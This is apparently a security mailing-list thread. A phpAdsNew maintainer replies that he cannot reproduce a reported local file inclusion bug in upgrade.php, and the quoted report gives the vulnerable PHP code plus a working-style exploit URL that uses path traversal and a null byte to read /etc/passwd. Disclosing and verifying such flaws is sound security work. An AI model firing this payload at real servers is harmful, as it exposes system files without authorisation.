Re: phpAdsNew include bug!

[Wim Godden <security@xxxxxxxxxxxxxxxxxxxxx>]

I can't reproduce this on any of our phpAdsNew 2.0.8 installations.
As it should, the login prompt is presented.

Kind regards,

Wim

At 20:02 17/10/2006, wacky@xxxxxxxx wrote:

> #######################################
> Autors:
> - Michał `wacky` Błaszczak
> - Nobody
>
> http://iHACK.pl
> #######################################
> File: modules/phpads/admin/upgrade.php
>
>
>
> Code:
>
> // Load language strings
> if 
> (file_exists("../language/".$phpAds_config['language']."/default.lang.php"))
> include("../language/".$phpAds_config['language']."/default.lang.php");
> else
> {
> $phpAds_config['language'] = 'english';
> include("../language/english/default.lang.php");
> }
>
>
>
> Exploit:
>
> http://ihack.pl/phpAdsNew-2.0.8/admin/
> upgrade.php?phpAds_config[language]=../../../etc/passwd%00